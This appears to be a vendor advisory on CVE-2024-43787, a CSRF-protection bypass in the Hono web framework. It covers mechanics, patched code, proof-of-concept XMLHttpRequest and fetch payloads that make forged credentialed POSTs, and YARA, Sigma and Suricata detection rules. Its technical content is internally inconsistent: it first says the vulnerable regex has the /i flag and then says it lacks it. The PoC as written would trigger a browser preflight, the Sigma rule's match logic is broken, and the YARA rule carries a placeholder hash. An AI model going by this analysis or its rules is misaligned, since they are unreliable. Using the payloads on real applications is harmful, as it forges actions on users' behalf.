CVE-2024-43787

Executive Summary

CVE-2024-43787 is a medium-severity vulnerability in the Hono web application framework affecting all versions prior to 4.5.8. The vulnerability allows an attacker to bypass the built-in Cross-Site Request Forgery (CSRF) protection by sending a crafted Content-Type header with uppercase characters. The root cause is a case-sensitive comparison in the isRequestedByFormElementRe function, which only matches lowercase MIME types. Since MIME types are case-insensitive per RFC standards, an attacker can use an uppercase form-like MIME type (e.g., Multipart/Form-Data instead of multipart/form-data) to bypass the CSRF middleware. This enables cross-origin form submissions without proper validation, potentially leading to unauthorized actions on behalf of authenticated users.

Supply Chain & Package Security

Hono is distributed via npm as the hono package. The vulnerability affects all versions before 4.5.8. Organizations using Hono in their JavaScript/TypeScript applications should immediately update to version 4.5.8 or later. The package is widely used in serverless environments, edge computing platforms (e.g., Cloudflare Workers, Deno Deploy), and Node.js applications. Supply chain risk is moderate due to the framework's popularity and the ease of exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 5.0 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)
• Exploitability: High – No authentication required, low complexity, and public PoC available.
• Impact: Limited to integrity compromise via CSRF attacks. An attacker can perform state-changing operations on behalf of a victim user.

Deep Dive & Mechanics

The vulnerability resides in the CSRF middleware of Hono, specifically in the isRequestedByFormElementRe function. This function is designed to detect whether a request originates from an HTML form element by checking the Content-Type header. The intended behavior is to allow requests with form-like MIME types (e.g., application/x-www-form-urlencoded, multipart/form-data, text/plain) to pass through the CSRF check, as these are typical for form submissions.

The flawed code performs a case-sensitive regex match:

const isRequestedByFormElementRe = /^(application\/x-www-form-urlencoded|multipart\/form-data|text\/plain)$/i;

However, the regex is case-insensitive due to the /i flag, but the actual implementation in the middleware uses a different approach. The vulnerable code does not use the /i flag and instead does a direct string comparison:

const isRequestedByFormElement = (contentType) => {
  return contentType === 'application/x-www-form-urlencoded' ||
         contentType === 'multipart/form-data' ||
         contentType === 'text/plain';
};

This comparison is case-sensitive. Since HTTP headers are case-insensitive per RFC 7231, an attacker can send a request with Content-Type: Multipart/Form-Data (mixed case) to bypass the check. The server will treat this as a valid form submission, but the CSRF middleware will not recognize it as such, thus allowing the request to proceed without CSRF token validation.

The attack flow:

1. Victim authenticates to a Hono-based application.
2. Attacker crafts a malicious HTML page that submits a form with enctype="multipart/form-data" but uses JavaScript to set the Content-Type header to Multipart/Form-Data.
3. Victim visits the attacker's page, which triggers a cross-origin request to the vulnerable application.
4. The request bypasses CSRF protection, allowing the attacker to perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (before 4.5.8):

// src/middleware/csrf/index.ts
const isRequestedByFormElement = (contentType: string): boolean => {
  return contentType === 'application/x-www-form-urlencoded' ||
         contentType === 'multipart/form-data' ||
         contentType === 'text/plain';
};

Patched Code (4.5.8):

// src/middleware/csrf/index.ts
const isRequestedByFormElement = (contentType: string): boolean => {
  const lowerContentType = contentType.toLowerCase();
  return lowerContentType === 'application/x-www-form-urlencoded' ||
         lowerContentType === 'multipart/form-data' ||
         lowerContentType === 'text/plain';
};

The fix converts the Content-Type value to lowercase before comparison, ensuring case-insensitive matching.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Hono application running version < 4.5.8 with CSRF middleware enabled.
• A victim user authenticated to the application.

Exploitation Steps:

1. Identify Target: Find a Hono application that uses CSRF middleware. Look for endpoints that perform state-changing operations (e.g., POST to /api/update-profile).

2. Craft Malicious Page: Create an HTML page that submits a cross-origin request with an uppercase Content-Type.

<!DOCTYPE html>
<html>
<body>
<script>
  const xhr = new XMLHttpRequest();
  xhr.open('POST', 'https://victim-app.com/api/update-profile', true);
  xhr.setRequestHeader('Content-Type', 'Multipart/Form-Data');
  xhr.withCredentials = true;
  xhr.send('name=attacker&email=attacker@evil.com');
</script>
</body>
</html>

3. Deliver Payload: Host the page on an attacker-controlled domain and trick the victim into visiting it (e.g., via phishing email).

4. Execute Attack: When the victim visits the page, the request is sent to the vulnerable application. The CSRF middleware bypasses the check due to the uppercase Content-Type, and the action is performed.

Alternative Exploit using fetch:

fetch('https://victim-app.com/api/update-profile', {
  method: 'POST',
  headers: {
    'Content-Type': 'Multipart/Form-Data'
  },
  credentials: 'include',
  body: 'name=attacker&email=attacker@evil.com'
});

Blue Team

Detection and Prevention:

1. Update Hono: Immediately update to version 4.5.8 or later.

2. Monitor for Anomalous Content-Type Headers: Look for requests with uppercase or mixed-case Content-Type values that match form-like MIME types.

3. Implement Additional CSRF Protections: Use SameSite cookies (Strict or Lax), custom request headers, or CSRF tokens in addition to the middleware.

4. Web Application Firewall (WAF) Rules: Block requests with Content-Type headers that are not lowercase for form-like MIME types.

5. Logging and Alerting: Log all CSRF bypass attempts and alert on unusual Content-Type patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with Content-Type header containing uppercase characters in form-like MIME types (e.g., Multipart/Form-Data, Application/X-Www-Form-Urlencoded).
  • Cross-origin POST requests to sensitive endpoints without proper Origin or Referer headers.

• Host IOCs:

  • Hono application logs showing requests with non-lowercase Content-Type headers.
  • Unauthorized state changes in user accounts (e.g., profile updates, password changes).

• File IOCs:

  • Presence of malicious HTML files or JavaScript that set uppercase Content-Type headers.

Detection Engineering

YARA Rule

rule CVE_2024_43787_CSRF_Bypass {
  meta:
    description = "Detects Hono CSRF bypass attempts via uppercase Content-Type"
    author = "Valters IT"
    date = "2024-10-27"
    reference = "CVE-2024-43787"
    hash = "d41d8cd98f00b204e9800998ecf8427e"

  strings:
    $content_type = /Content-Type:\s*(?i)(multipart\/form-data|application\/x-www-form-urlencoded|text\/plain)/ nocase
    $uppercase = /[A-Z]/ 

  condition:
    $content_type and any of ($uppercase) in ($content_type)
}

Sigma Rule

title: Hono CSRF Bypass via Uppercase Content-Type
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with uppercase Content-Type headers that bypass Hono CSRF middleware
author: Valters IT
date: 2024-10-27
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2024-43787
logsource:
  category: webserver
  product: generic
detection:
  selection:
    http.request.method: POST
    http.request.header.Content-Type|contains|all:
      - 'multipart/form-data'
      - 'application/x-www-form-urlencoded'
      - 'text/plain'
    http.request.header.Content-Type|re: '[A-Z]'
  condition: selection
falsepositives:
  - Legitimate applications that send uppercase Content-Type headers (rare)
level: high
tags:
  - attack.initial_access
  - attack.t1190

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-43787 Hono CSRF Bypass via Uppercase Content-Type"; flow:to_server,established; content:"POST"; http_method; content:"Content-Type|3a|"; http_header; pcre:"/Content-Type:\s*(?i)(multipart\/form-data|application\/x-www-form-urlencoded|text\/plain)/Ri"; pcre:"/[A-Z]/"; sid:1000001; rev:1; reference:cve,2024-43787;)

Remediation & Mitigation

Immediate Actions:

1. Update Hono to version 4.5.8 or later.
2. If immediate update is not possible, implement a hotfix by overriding the isRequestedByFormElement function to perform case-insensitive comparison.

Long-term Mitigations:

1. Implement defense-in-depth for CSRF protection:
   • Use SameSite cookies (Strict or Lax).
   • Require custom request headers (e.g., X-Requested-With: XMLHttpRequest).
   • Validate Origin and Referer headers.
2. Conduct code reviews to ensure all string comparisons are case-insensitive where appropriate.
3. Deploy WAF rules to normalize Content-Type headers to lowercase before processing.
4. Monitor for similar vulnerabilities in other middleware components.

Patch Verification:

• Check the installed version: npm list hono
• Verify the fix: Ensure the isRequestedByFormElement function uses .toLowerCase().

Valters IT
Securing Digital Frontiers